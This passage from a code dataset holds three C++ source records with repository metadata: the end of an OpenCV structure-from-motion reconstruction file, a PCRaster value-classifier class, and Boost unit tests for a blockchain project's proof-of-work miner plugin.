Rs and Ts, extract Ps\n\n      const int nviews_est = Rs.size();\n      Ps.create(nviews_est, 1, depth);\n\n      Matx34d P;\n      for (size_t i = 0; i < nviews_est; ++i)\n      {\n        projectionFromKRt(Ka, Rs[i], Vec3d(Ts[i]), P);\n        Mat(P).copyTo(Ps.getMatRef(i));\n      }\n\n      Mat(Ka).copyTo(K.getMat());\n      }\n\n\n    // Affine reconstruction\n\n    else\n    {\n      // TODO: implement me\n    }\n\n  }\n\n\n  void\n  reconstruct(const std::vector<std::string> images, OutputArray Rs, OutputArray Ts,\n              InputOutputArray K, OutputArray points3d, bool is_projective)\n  {\n    const int nviews = static_cast<int>(images.size());\n    CV_Assert( nviews >= 2 );\n\n    // Projective reconstruction\n\n    if ( is_projective )\n    {\n      reconstruct_(images, Rs, Ts, K, points3d, false);\n    }\n\n\n    // Affine reconstruction\n\n    else\n    {\n      // TODO: implement me\n    }\n\n  }\n\n} // namespace sfm\n} // namespace cv\n\n#endif /* HAVE_CERES */", "meta": {"hexsha": "1d40f23491b57c6e2c212291071986a6461d1685", "size": 6749, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "contrib/modules/sfm/src/reconstruct.cpp", "max_stars_repo_name": "ev3dev/opencv", "max_stars_repo_head_hexsha": "781edd9001a85f259f2c10d6c2b70204eb221e70", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 16.0, "max_stars_repo_stars_event_min_datetime": "2016-07-04T10:32:22.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-10T11:26:45.000Z", "max_issues_repo_path": "contrib/modules/sfm/src/reconstruct.cpp", "max_issues_repo_name": "ev3dev/opencv", "max_issues_repo_head_hexsha": "781edd9001a85f259f2c10d6c2b70204eb221e70", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "contrib/modules/sfm/src/reconstruct.cpp", "max_forks_repo_name": "ev3dev/opencv", "max_forks_repo_head_hexsha": "781edd9001a85f259f2c10d6c2b70204eb221e70", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 22.0, "max_forks_repo_forks_event_min_datetime": "2015-10-23T19:36:18.000Z", "max_forks_repo_forks_event_max_datetime": "2021-02-02T12:20:32.000Z", "avg_line_length": 26.1589147287, "max_line_length": 132, "alphanum_fraction": 0.6525411172, "num_tokens": 1739, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.2689414272294874, "lm_q1q2_score": 0.14704053891555444}}
{"text": "#include \"com_classifier.h\"\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <stdexcept>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <boost/math/special_functions/fpclassify.hpp>\n#include \"pcrtypes.h\"\n#include \"com_classifierimp.h\"\n#include \"com_linclassifier.h\"\n#include \"com_logclassifier.h\"\n#include \"com_tlogclassifier.h\"\n#include \"com_userdefinedclassifier.h\"\n\n\n\n//------------------------------------------------------------------------------\n// DEFINITION OF STATIC CLASS MEMBERS\n//------------------------------------------------------------------------------\n\n\n\n//------------------------------------------------------------------------------\n// DEFINITION OF CLASS MEMBERS \n//------------------------------------------------------------------------------\n\n/*!\n  \\warning Doesn't set a default classification algorithm. Set classification\n           parameters before calling classify() or classify(size_t)!\n  \\sa      com::Classifier(const com::Classifier &),\n           com::Classifier(REAL8, REAL8)\n\n  The default classification mode is AUTO.\n*/\ncom::Classifier::Classifier()\n{\n  try\n  {\n    init();\n  }\n  catch(...)\n  {\n    clean();\n    throw;\n  }\n}\n\n\n\n/*!\n  \\param   rhs Object to copy values from.\n  \\sa      com::Classifier(const com::Classifier &)\n\n  Performs a deep copy of the classification algorithm.\n*/\ncom::Classifier &com::Classifier::operator=(const Classifier &rhs)\n{\n  if(this != &rhs)\n  {\n    clean();\n\n    // Set d_classifier and d_algorithm.\n    if(rhs.d_algorithm == LIN) {\n      com_LinClassifier<REAL8> *c =\n                     dynamic_cast<com_LinClassifier<REAL8> *>(rhs.d_classifier);\n      assert(c);\n      d_classifier = new com_LinClassifier<REAL8>(*c);\n      d_algorithm  = LIN;\n    }\n    else if(rhs.d_algorithm == LOG) {\n      com_LogClassifier<REAL8> *c =\n                     dynamic_cast<com_LogClassifier<REAL8> *>(rhs.d_classifier);\n      assert(c);\n      d_classifier = new com_LogClassifier<REAL8>(*c);\n      d_algorithm  = LOG;\n    }\n    else if(rhs.d_algorithm == TLOG) {\n      com_TLogClassifier<REAL8> *c =\n                    dynamic_cast<com_TLogClassifier<REAL8> *>(rhs.d_classifier);\n      assert(c);\n      d_classifier = new com_TLogClassifier<REAL8>(*c);\n      d_algorithm  = TLOG;\n    }\n    else if(rhs.d_algorithm == USERDEFINED) {\n      UserDefinedClassifier<REAL8> *c =\n                   dynamic_cast<UserDefinedClassifier<REAL8> *>(rhs.d_classifier);\n      assert(c);\n      d_classifier = new UserDefinedClassifier<REAL8>(*c);\n      d_algorithm  = USERDEFINED;\n    }\n\n    d_mode      = rhs.d_mode;\n    d_borders   = rhs.d_borders;\n\n    if(rhs.extremesAreValid()) {\n      d_min = rhs.d_min;\n      d_max = rhs.d_max;\n    }\n    else {\n      pcr::setMV(d_min);\n      pcr::setMV(d_max);\n    }\n\n    if(rhs.cutoffsAreValid()) {\n      d_minCutoff = rhs.d_minCutoff;\n      d_maxCutoff = rhs.d_maxCutoff;\n    }\n    else {\n      pcr::setMV(d_minCutoff);\n      pcr::setMV(d_maxCutoff);\n    }\n\n    d_nrClasses = rhs.d_nrClasses;\n  }\n\n  return *this;\n}\n\n\n\n/*!\n  \\param   rhs Object to copy values from.\n  \\sa      operator=(const com::Classifier &), com::Classifier(),\n           com::Classifier(REAL8, REAL8)\n\n  Performs a deep copy of the classification algorithm.\n*/\ncom::Classifier::Classifier(const Classifier &rhs)\n{\n  init();\n\n  // Set d_classifier and d_algorithm.\n  if(rhs.d_algorithm == LIN) {\n    com_LinClassifier<REAL8> *c =\n         dynamic_cast<com_LinClassifier<REAL8> *>(rhs.d_classifier);\n    assert(c);\n    d_classifier = new com_LinClassifier<REAL8>(*c);\n    d_algorithm  = LIN;\n  }\n  else if(rhs.d_algorithm == LOG) {\n    com_LogClassifier<REAL8> *c =\n         dynamic_cast<com_LogClassifier<REAL8> *>(rhs.d_classifier);\n    assert(c);\n    d_classifier = new com_LogClassifier<REAL8>(*c);\n    d_algorithm  = LOG;\n  }\n  else if(rhs.d_algorithm == TLOG) {\n    com_TLogClassifier<REAL8> *c =\n         dynamic_cast<com_TLogClassifier<REAL8> *>(rhs.d_classifier);\n    assert(c);\n    d_classifier = new com_TLogClassifier<REAL8>(*c);\n    d_algorithm  = TLOG;\n  }\n  else if(rhs.d_algorithm == USERDEFINED) {\n    UserDefinedClassifier<REAL8> *c =\n         dynamic_cast<UserDefinedClassifier<REAL8> *>(rhs.d_classifier);\n    assert(c);\n    d_classifier = new UserDefinedClassifier<REAL8>(*c);\n    d_algorithm  = USERDEFINED;\n  }\n\n  d_mode      = rhs.d_mode;\n  d_borders   = rhs.d_borders;\n\n  if(rhs.extremesAreValid()) {\n    d_min = rhs.d_min;\n    d_max = rhs.d_max;\n  }\n  else {\n    pcr::setMV(d_min);\n    pcr::setMV(d_max);\n  }\n\n  if(rhs.cutoffsAreValid()) {\n    d_minCutoff = rhs.d_minCutoff;\n    d_maxCutoff = rhs.d_maxCutoff;\n  }\n  else {\n    pcr::setMV(d_minCutoff);\n    pcr::setMV(d_maxCutoff);\n  }\n\n  d_nrClasses = rhs.d_nrClasses;\n}\n\n\n\n/*!\n  \\param   min Minimum data value.\n  \\param   max Maximum data value.\n  \\sa      com::Classifier(), com::Classifier(const Classifier &)\n\n  The extremes and the cutoff values are set to \\a min and \\a max. If \\a max\n  is smaller than \\a min, than they're swapped.\n*/\ncom::Classifier::Classifier(REAL8 min, REAL8 max)\n{\n  try\n  {\n    init();\n    d_min = min;\n    d_max = max;\n\n    if(d_min > d_max)\n      std::swap(d_min, d_max);\n\n    d_minCutoff = d_min;\n    d_maxCutoff = d_max;\n  }\n  catch(...)\n  {\n    clean();\n    throw;\n  }\n}\n\n\n\n/*!\n  Calls clean().\n*/\ncom::Classifier::~Classifier()\n{\n  clean();\n}\n\n\n\n/*!\n  After calling this function you can't call the classify() or classify(size_t)\n  functions anymore. All members are set to an initial state (empty, invalid,\n  0, etc).\n*/\nvoid com::Classifier::init()\n{\n  d_classifier = 0;\n  d_borders.erase(d_borders.begin(), d_borders.end());\n  d_algorithm  = INVALID_ALGORITHM;\n  d_mode       = AUTO;\n  pcr::setMV(d_min);\n  pcr::setMV(d_max);\n  pcr::setMV(d_minCutoff);\n  pcr::setMV(d_maxCutoff);\n  d_nrClasses  = 0;\n}\n\n\n\n/*!\n  \\warning  If you saved a copy of the pointer to that algorithm you're better\n            off not using it anymore!\n\n  Deletes the classification algorithm from memory.\n*/\nvoid com::Classifier::clean()\n{\n  delete d_classifier; d_classifier = 0;\n}\n\n\n\n//!\n/*!\n  \\param     .\n  \\return    .\n  \\exception .\n  \\warning   .\n  \\sa        .\n\n  No need to check the classifier, this is determined by d_algorithm.\n*/\nbool com::Classifier::equals(Classifier const& rhs) const\n{\n  bool extremesAreEqual = false;\n\n  if(!extremesAreValid()) {\n    if(!rhs.extremesAreValid()) {\n      // Both objects have invalid/unset extremes.\n      extremesAreEqual = true;\n    }\n  }\n  else {\n    if(rhs.extremesAreValid()) {\n      if(d_min == rhs.d_min && d_max == rhs.d_max) {\n        // Both objects have valid and equal extremes.\n        extremesAreEqual = true;\n      }\n    }\n  }\n\n  bool cutoffsAreEqual = false;\n\n  if(!cutoffsAreValid()) {\n    if(!rhs.cutoffsAreValid()) {\n      // Both objects have invalid/unset cutoffs.\n      cutoffsAreEqual = true;\n    }\n  }\n  else {\n    if(rhs.cutoffsAreValid()) {\n      if(d_min == rhs.d_min && d_max == rhs.d_max) {\n        // Both objects have valid and equal cutoffs.\n        cutoffsAreEqual = true;\n      }\n    }\n  }\n\n  return d_algorithm == rhs.d_algorithm &&\n         d_mode == rhs.d_mode &&\n         d_borders == rhs.d_borders &&\n         extremesAreEqual &&\n         cutoffsAreEqual &&\n         d_nrClasses == rhs.d_nrClasses;\n}\n\n\n\n/*!\n  \\warning Don't forget to set the classification parameters before calling\n           this function!\n  \\sa      setExtremes(), setMinCutoff(), setMaxCutoff(), setCutoffs(),\n           setNrClasses()\n\n  The currently set values for minimum cutoff, maximum cutoff and number of\n  classes are passed to the classification algorithm.\n*/\nvoid com::Classifier::classify()\n{\n  assert(d_classifier);\n\n  if(!cutoffsAreValid() || d_minCutoff == d_maxCutoff) {\n    d_borders.resize(0);\n  }\n  else {\n    assert(d_min <= d_max);\n    assert(d_minCutoff <= d_maxCutoff);\n    assert(!pcr::isMV(d_min));\n    assert(!pcr::isMV(d_max));\n    assert(!pcr::isMV(d_minCutoff));\n    assert(!pcr::isMV(d_maxCutoff));\n\n    if(d_mode == AUTO) {\n      d_classifier->autoClassify(d_borders, d_minCutoff, d_maxCutoff,\n         d_nrClasses);\n    }\n    else if(d_mode == EXACT) {\n      d_classifier->classify(d_borders, d_minCutoff, d_maxCutoff, d_nrClasses);\n    }\n#ifdef DEBUG_DEVELOP\n    else {\n      throw std::logic_error(std::string(\"com::Classifier::classify()\"));\n    }\n#endif\n  }\n\n  if(!d_borders.empty()) {\n    d_minCutoff = d_borders.front();\n    d_maxCutoff = d_borders.back();\n    d_nrClasses = d_borders.size() - 1;\n  }\n}\n\n\n\n/*!\n  \\overload\n  \\param   n Number of class borders to calculate.\n*/\nvoid com::Classifier::classify(size_t n)\n{\n#ifdef DEBUG_DEVELOP\n  assert(d_classifier);\n#endif\n\n  d_nrClasses = n;\n  classify();\n}\n\n\n\n/*!\n  \\param   a Algorithm to install.\n  \\sa      installLin(), installLog(), installTLog()\n*/\nvoid com::Classifier::installAlgorithm(Algorithm a)\n{\n  if(a == LIN)\n    (void)installLin();\n  else if(a == LOG)\n    (void)installLog();\n  else if(a == TLOG)\n    (void)installTLog();\n  else if(a == USERDEFINED)\n    (void)installUserDefined();\n}\n\n\n\n/*!\n  \\return  Classification object created.\n  \\warning The pointer returned by this function is for configuring the\n           algorithm specific parameters. If the com::Classifier object dies,\n           this pointer is not valid anymore and should not be dereferenced!\n  \\sa      com_LinClassifier, installLog(), installTLog()\n*/\ncom_LinClassifier<REAL8> *com::Classifier::installLin()\n{\n  delete d_classifier, d_classifier = 0;\n  d_borders.erase(d_borders.begin(), d_borders.end());\n  d_algorithm  = INVALID_ALGORITHM;\n\n  com_LinClassifier<REAL8> *c = 0;\n\n  try\n  {\n    c = new com_LinClassifier<REAL8>();\n    d_classifier = c;\n    d_algorithm = LIN;\n  }\n  catch(...)\n  {\n    delete c; c = 0;\n    clean();\n    throw;\n  }\n\n  return c;\n}\n\n\n\n/*!\n  \\return  Classification object created.\n  \\warning The pointer returned by this function is for configuring the\n           algorithm specific parameters. If the com::Classifier object dies,\n           this pointer is not valid anymore and should not be dereferenced!\n  \\sa      com_LogClassifier, installLin(), installTLog()\n*/\ncom_LogClassifier<REAL8> *com::Classifier::installLog()\n{\n  delete d_classifier, d_classifier = 0;\n  d_borders.erase(d_borders.begin(), d_borders.end());\n  d_algorithm  = INVALID_ALGORITHM;\n\n  com_LogClassifier<REAL8> *c = 0;\n\n  try\n  {\n    c = new com_LogClassifier<REAL8>();\n    d_classifier = c;\n    d_algorithm  = LOG;\n  }\n  catch(...)\n  {\n    delete c; c = 0;\n    clean();\n    throw;\n  }\n\n  return c;\n}\n\n\n\n/*!\n  \\return  Classification object created.\n  \\warning The pointer returned by this function is for configuring the\n           algorithm specific parameters. If the com::Classifier object dies,\n           this pointer is not valid anymore and should not be dereferenced!\n  \\sa      com_TLogClassifier, installLin(), installLog()\n*/\ncom_TLogClassifier<REAL8> *com::Classifier::installTLog()\n{\n  delete d_classifier, d_classifier = 0;\n  d_borders.erase(d_borders.begin(), d_borders.end());\n  d_algorithm  = INVALID_ALGORITHM;\n\n  com_TLogClassifier<REAL8> *c = 0;\n\n  try\n  {\n    c = new com_TLogClassifier<REAL8>();\n    d_classifier = c;\n    d_algorithm  = TLOG;\n  }\n  catch(...)\n  {\n    delete c; c = 0;\n    clean();\n    throw;\n  }\n\n  return c;\n}\n\n\n\ncom::UserDefinedClassifier<REAL8> *com::Classifier::installUserDefined()\n{\n  delete d_classifier, d_classifier = 0;\n  d_borders.erase(d_borders.begin(), d_borders.end());\n  d_algorithm  = INVALID_ALGORITHM;\n\n  UserDefinedClassifier<REAL8>* classifier = 0;\n\n  try {\n    classifier = new UserDefinedClassifier<REAL8>();\n    d_classifier = classifier;\n    d_algorithm  = USERDEFINED;\n  }\n  catch(...) {\n    delete classifier; classifier = 0;\n    clean();\n    throw;\n  }\n\n  return classifier;\n}\n\n\n\n/*!\n  \\return  The number of classes calculated.\n  \\warning The value returned by this function is need not have the same value\n           as set with the setNrClasses() or classify(size_t) member functions.\n           The requested number of classes does not need to be the same as the\n           actually calculated number.\n  \\sa      setNrClasses()\n\n  If classify() or classify(size_t) hasn't been called yet, this function will\n  return 0.\n\n  The number of classes is equal to the calculated number of classborders\n  minus 1.\n\n  This function returns 0 if no class borders are calculated.\n*/\nsize_t com::Classifier::nrClasses() const\n{\n  return d_borders.empty() ? 0 : d_borders.size() - 1;\n}\n\n\n\nsize_t com::Classifier::nrBorders() const\n{\n  return d_borders.size();\n}\n\n\n\nsize_t com::Classifier::nrClassesRequested() const\n{\n  return d_nrClasses;\n}\n\n\n\ncom::Classifier::const_iterator com::Classifier::begin() const\n{\n  return d_borders.begin();\n}\n\n\n\ncom::Classifier::const_iterator com::Classifier::end() const\n{\n  return d_borders.end();\n}\n\n\n\ncom::Classifier::Algorithm com::Classifier::algorithm() const\n{\n  return d_algorithm;\n}\n\n\n\nconst std::vector<REAL8> &com::Classifier::borders() const\n{\n  return d_borders;\n}\n\n\n\n/*!\n  \\sa      max(), setExtremes()\n*/\nREAL8 com::Classifier::min() const\n{\n  assert(!pcr::isMV(d_min));\n  return d_min;\n}\n\n\n\n/*!\n  \\sa      min(), setExtremes()\n*/\nREAL8 com::Classifier::max() const\n{\n  assert(!pcr::isMV(d_max));\n  return d_max;\n}\n\n\n\n/*!\n  \\sa      maxCutoff(), setCutoffs(), setMinCutoff(), setMaxCutoff()\n*/\nREAL8 com::Classifier::minCutoff() const\n{\n  assert(!pcr::isMV(d_minCutoff));\n  return d_minCutoff;\n}\n\n\n\n/*!\n  \\sa      minCutoff(), setCutoffs(), setMinCutoff(), setMaxCutoff()\n*/\nREAL8 com::Classifier::maxCutoff() const\n{\n  assert(!pcr::isMV(d_maxCutoff));\n  return d_maxCutoff;\n}\n\n\n\n/*!\n  \\param   min New minimum value.\n  \\param   max New minimum value.\n  \\sa      min(), max(), setCutoffs(), setMinCutoff(), setMaxCutoff()\n\n  If \\a min > \\a max they're swapped.\n*/\nvoid com::Classifier::setExtremes(REAL8 min, REAL8 max)\n{\n  d_min = min;\n  d_max = max;\n\n  if(d_min > d_max)\n    std::swap(d_min, d_max);\n}\n\n\n\n/*!\n  \\param   min New minimum cutoff value.\n  \\param   min New maximum cutoff value.\n  \\sa      setMinCutoff(), setMaxCutOff(), resetCutoffs(), minCutoff(),\n           maxCutoff()\n\n  If \\a min > \\a max they're swapped.\n*/\nvoid com::Classifier::setCutoffs(REAL8 min, REAL8 max)\n{\n  d_minCutoff = min;\n  d_maxCutoff = max;\n\n  if(d_minCutoff > d_maxCutoff)\n    std::swap(d_minCutoff, d_maxCutoff);\n}\n\n\n\n/*!\n  \\sa      setCutoffs(), setMinCutoff(), setMaxCutoff(), minCutoff(),\n           maxCutoff()\n*/\nvoid com::Classifier::resetCutoffs()\n{\n  d_minCutoff = d_min;\n  d_maxCutoff = d_max;\n}\n\n\n\nvoid com::Classifier::resetMinCutoff()\n{\n  d_minCutoff = d_min;\n}\n\n\n\nvoid com::Classifier::resetMaxCutoff()\n{\n  d_maxCutoff = d_max;\n}\n\n\n\n/*!\n  \\param   v Value to classify.\n  \\return  Class index of value \\a v.\n  \\sa      classBorder()\n  \\warning The result is undefined if the number classes == 0.\n\n  The class index returned is the index of the class whose border is greater\n  of equal to \\a v. Values larger than the upper class border are assigned\n  to the highest class.\n\n  Returned class indices range from 0 to nr_of_classes - 1.\n*/\nsize_t com::Classifier::classIndex(REAL8 v) const\n{\n#ifdef DEBUG_DEVELOP\n  assert(nrClasses() > 0);\n#endif\n\n  const_iterator it = std::upper_bound(begin() + 1, end(), v);\n  if(it != end())\n    return it - (begin() + 1);\n  else\n    return nrClasses() - 1;\n}\n\n\n\n/*!\n  \\param   i Class index.\n  \\return  Upper class border.\n  \\warning The returned value is undefined if \\a i >= nrClasses().\n  \\sa      classIndex()\n*/\nREAL8 com::Classifier::classBorder(size_t i) const\n{\n  assert(i < nrBorders());\n\n  return d_borders[i];\n}\n\n\n\n/*!\n  \\param   n Number of class borders to calculate.\n  \\warning Only after classify() of classify(size_t) has been called the value\n           set here and the value returned by nrClasses() are in sync.\n  \\sa      nrClasses()\n*/\nvoid com::Classifier::setNrClasses(size_t n)\n{\n  d_nrClasses = n;\n}\n\n\n\n/*!\n  \\param   v New minimum cutoff value.\n  \\sa      setMaxCutoff(), setCutoffs(), setExtremes(), minCutoff(), maxCutoff()\n*/\nvoid com::Classifier::setMinCutoff(REAL8 v)\n{\n  d_minCutoff = v;\n}\n\n\n\n/*!\n  \\param   v New maximum cutoff value.\n  \\sa      setMinCutoff(), setCutoffs(), setExtremes(), minCutoff(), maxCutoff()\n*/\nvoid com::Classifier::setMaxCutoff(REAL8 v)\n{\n  d_maxCutoff = v;\n}\n\n\n\nvoid com::Classifier::setMode(Mode m)\n{\n  d_mode = m;\n}\n\n\n\ncom::Classifier::Mode com::Classifier::mode() const\n{\n  return d_mode;\n}\n\n\n\n//! Merges properties of \\a classifier with this classifier.\n/*!\n  \\param     classifier Object to use properties from.\n  \\exception .\n  \\warning   Does not call classify().\n\n  The most extreme values of the extreme values of *this and \\a classifier\n  are set as the extreme values of *this. Other stuff is untouched.\n*/\nvoid com::Classifier::merge(Classifier const& classifier)\n{\n  if(extremesAreValid()) {\n    if(classifier.extremesAreValid()) {\n      setExtremes(std::min(min(), classifier.min()),\n                  std::max(max(), classifier.max()));\n    }\n  }\n  else {\n    if(classifier.extremesAreValid()) {\n      setExtremes(classifier.min(), classifier.max());\n    }\n  }\n}\n\n\n\nbool com::Classifier::extremesAreValid() const\n{\n  return\n    !(pcr::isMV(d_min) || boost::math::isnan(d_min)) &&\n    !(pcr::isMV(d_max) || boost::math::isnan(d_max));\n}\n\n\n\nbool com::Classifier::cutoffsAreValid() const\n{\n  return\n    !(pcr::isMV(d_minCutoff) || boost::math::isnan(d_minCutoff)) &&\n    !(pcr::isMV(d_maxCutoff) || boost::math::isnan(d_maxCutoff));\n}\n\n\n\nbool com::operator==(Classifier const& lhs, Classifier const& rhs)\n{\n  return lhs.equals(rhs);\n}\n\n\n\nbool com::operator!=(Classifier const& lhs, Classifier const& rhs)\n{\n  return !lhs.equals(rhs);\n}\n\n\n\n//------------------------------------------------------------------------------\n// DOCUMENTATION OF ENUMERATIONS\n//------------------------------------------------------------------------------\n\n/*!\n  \\var com::Classifier::Algorithm com::Classifier::INVALID_ALGORITHM\n  No classification algorithm set.\n\n  \\warning Don't call classify() or classify(size_t) if the algorithm()\n           function returns this value.\n*/\n\n/*!\n  \\var com::Classifier::Algorithm com::Classifier::LIN\n\n  Classification performed by com_LinClassifier object.\n*/\n\n/*!\n  \\var com::Classifier::Algorithm com::Classifier::LOG\n\n  Classification performed by com_LogClassifier object.\n*/\n\n/*!\n  \\var com::Classifier::Algorithm com::Classifier::TLOG\n\n  Classification performed by com_TLogClassifier object.\n*/\n\n\n\n//------------------------------------------------------------------------------\n// DOCUMENTATION OF INLINE FUNCTIONS\n//------------------------------------------------------------------------------\n\n\n\n//------------------------------------------------------------------------------\n// DOCUMENTATION OF PURE VIRTUAL FUNCTIONS\n//------------------------------------------------------------------------------\n\n\n", "meta": {"hexsha": "9bb703e8316fea8f7f2cf8db474e723036329c69", "size": 18873, "ext": "cc", "lang": "C++", "max_stars_repo_path": "pcraster/pcraster-4.2.0/pcraster-4.2.0/source/pcraster_aguila/com_classifier.cc", "max_stars_repo_name": "quanpands/wflow", "max_stars_repo_head_hexsha": "b454a55e4a63556eaac3fbabd97f8a0b80901e5a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pcraster/pcraster-4.2.0/pcraster-4.2.0/source/pcraster_aguila/com_classifier.cc", "max_issues_repo_name": "quanpands/wflow", "max_issues_repo_head_hexsha": "b454a55e4a63556eaac3fbabd97f8a0b80901e5a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pcraster/pcraster-4.2.0/pcraster-4.2.0/source/pcraster_aguila/com_classifier.cc", "max_forks_repo_name": "quanpands/wflow", "max_forks_repo_head_hexsha": "b454a55e4a63556eaac3fbabd97f8a0b80901e5a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 21.2533783784, "max_line_length": 82, "alphanum_fraction": 0.62327134, "num_tokens": 4860, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381519846138, "lm_q2_score": 0.2689414272294874, "lm_q1q2_score": 0.14704053891555444}}
{"text": "//\r\n// Created by yalez on 2018/8/21.\r\n//\r\n\r\n#define BOOST_TEST_MODULE miner_plugin\r\n\r\n#ifndef CELESOS_TEST_MOUDLE_MINER_PLUGIN_ON\r\n#define CELESOS_TEST_MOUDLE_MINER_PLUGIN_ON\r\n#endif //CELESOS_TEST_MOUDLE_MINER_PLUGIN_ON\r\n\r\n#include <boost/test/unit_test.hpp>\r\n#include <boost/asio.hpp>\r\n#include <boost/signals2.hpp>\r\n#include <boost/multiprecision/cpp_int.hpp>\r\n#include <fc/log/logger.hpp>\r\n#include <eosio/testing/tester.hpp>\r\n#include <celesos/pow/ethash.hpp>\r\n#include <celesos/miner_plugin/worker.hpp>\r\n#include <celesos/miner_plugin/miner.hpp>\r\n#include <celesos/miner_plugin/miner_plugin.hpp>\r\n#include <eosio/chain/forest_bank.hpp>\r\n\r\nusing namespace celesos;\r\nusing namespace eosio;\r\n\r\nusing boost::multiprecision::uint256_t;\r\n\r\nBOOST_AUTO_TEST_SUITE(worker_suite)\r\n\r\n    BOOST_AUTO_TEST_CASE(worker_test) {\r\n        const static uint32_t HASH_BYTES = 64;\r\n        const static uint64_t CACHE_BYTES = 1024;\r\n        const static uint64_t DATASET_BYTES = 1024 * 32;\r\n\r\n        const static auto CACHE_COUNT = static_cast<uint32_t>(CACHE_BYTES / HASH_BYTES);\r\n        const static auto DATASET_COUNT = static_cast<uint32_t>(DATASET_BYTES / HASH_BYTES);\r\n\r\n        auto target_ptr = std::make_shared<uint256_t>(197);\r\n        auto &target = *target_ptr;\r\n        target |= uint256_t{90} << 1;\r\n        for (int i = 2; i < 31; ++i) {\r\n            target |= uint256_t{255} << i * 8;\r\n        }\r\n\r\n        auto nonce_start_ptr = std::make_shared<uint256_t>();\r\n        miner::miner::gen_random_uint256(*nonce_start_ptr);\r\n\r\n        auto retry_count_ptr = std::make_shared<uint256_t>(-1);\r\n\r\n        auto io_service_ptr = std::make_shared<boost::asio::io_service>();\r\n        auto signal_ptr = std::make_shared<miner::mine_signal_type>();\r\n        signal_ptr->connect([](auto is_success, auto block_num, auto wood) {\r\n            BOOST_CHECK_EQUAL(is_success, true);\r\n        });\r\n\r\n        auto seed_ptr = std::make_shared<std::string>(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\");\r\n        auto forest_ptr = seed_ptr;\r\n\r\n        BOOST_TEST_MESSAGE(\"begin prepare cache with count: \" << CACHE_COUNT);\r\n        auto cache_ptr = std::make_shared<std::vector<ethash::node>>(CACHE_COUNT);\r\n        ethash::calc_cache(*cache_ptr, CACHE_COUNT, *seed_ptr);\r\n        BOOST_TEST_MESSAGE(\"end prepare cache with count: \" << CACHE_COUNT);\r\n\r\n        BOOST_TEST_MESSAGE(\"begin prepare dataset with count: \" << DATASET_COUNT);\r\n        auto dataset_ptr = std::make_shared<std::vector<ethash::node>>(DATASET_COUNT);\r\n        ethash::calc_dataset(*dataset_ptr, DATASET_COUNT, *cache_ptr);\r\n        BOOST_TEST_MESSAGE(\"end prepare dataset with count: \" << DATASET_COUNT);\r\n\r\n        fc::logger a_logger{};\r\n        miner::worker_ctx ctx{\r\n                .logger = a_logger,\r\n                .dataset_ptr = dataset_ptr,\r\n                .seed_ptr = seed_ptr,\r\n                .forest_ptr = forest_ptr,\r\n                .nonce_start_ptr = nonce_start_ptr,\r\n                .retry_count_ptr = retry_count_ptr,\r\n                .target_ptr = target_ptr,\r\n                .block_num = 1024,\r\n                .io_service_ref = *io_service_ptr,\r\n                .signal_ptr = signal_ptr,\r\n                .sleep_interval_sec = 0,\r\n                .sleep_probability = 0.0f,\r\n        };\r\n        miner::worker worker{std::move(ctx)};\r\n        worker.start();\r\n\r\n        BOOST_TEST_MESSAGE(\"begin solve nonce\");\r\n        boost::asio::io_service::work work{*io_service_ptr};\r\n        io_service_ptr->run_one();\r\n        BOOST_TEST_MESSAGE(\"end solve nonce\");\r\n    }\r\n\r\nBOOST_AUTO_TEST_SUITE_END()\r\n\r\nBOOST_AUTO_TEST_SUITE(miner_suite)\r\n\r\n    BOOST_FIXTURE_TEST_CASE(miner_test, testing::tester) {\r\n        auto &controller_ref = *this->control;\r\n\r\n        std::mutex mutex{};\r\n        std::unique_lock<std::mutex> lock{mutex};\r\n        std::condition_variable stop_signal{};\r\n        auto bank = forest::forest_bank::getInstance(controller_ref);\r\n\r\n        miner::miner miner{fc::logger::get(), app().get_io_service(), 1, 0, 0.0f};\r\n        miner.connect([&stop_signal, bank](bool is_success, chain::block_num_type block_num,\r\n                                           const boost::optional<uint256_t> &wood_opt) {\r\n            BOOST_CHECK_EQUAL(is_success, true);\r\n            std::string wood_hex{};\r\n            ethash::uint256_to_hex(wood_hex, *wood_opt);\r\n            BOOST_CHECK_EQUAL(bank->verify_wood(block_num, \"yale\", wood_hex.c_str()), true);\r\n            stop_signal.notify_all();\r\n        });\r\n\r\n        BOOST_TEST_MESSAGE(\"begin solve wood by miner\");\r\n        chain::account_name relative_account{\"yale\"};\r\n        miner.start(std::move(relative_account), controller_ref);\r\n        produce_blocks(1024);\r\n        stop_signal.wait(lock);\r\n        BOOST_TEST_MESSAGE(\"after wait\");\r\n        miner.stop();\r\n        BOOST_TEST_MESSAGE(\"end solve wood by miner\");\r\n    }\r\n\r\nBOOST_AUTO_TEST_SUITE_END()\r\n\r\n//BOOST_AUTO_TEST_SUITE(miner_plugin_suite)\r\n//\r\n//BOOST_AUTO_TEST_SUITE_END()\r\n", "meta": {"hexsha": "0d759074510665e089dacf99c1c36973ff7110e2", "size": 4968, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "plugins/miner_plugin/test/test.cpp", "max_stars_repo_name": "celes-dev/celesos", "max_stars_repo_head_hexsha": "b2877d64915bb027b9d86a7a692c6e91f23328b0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": 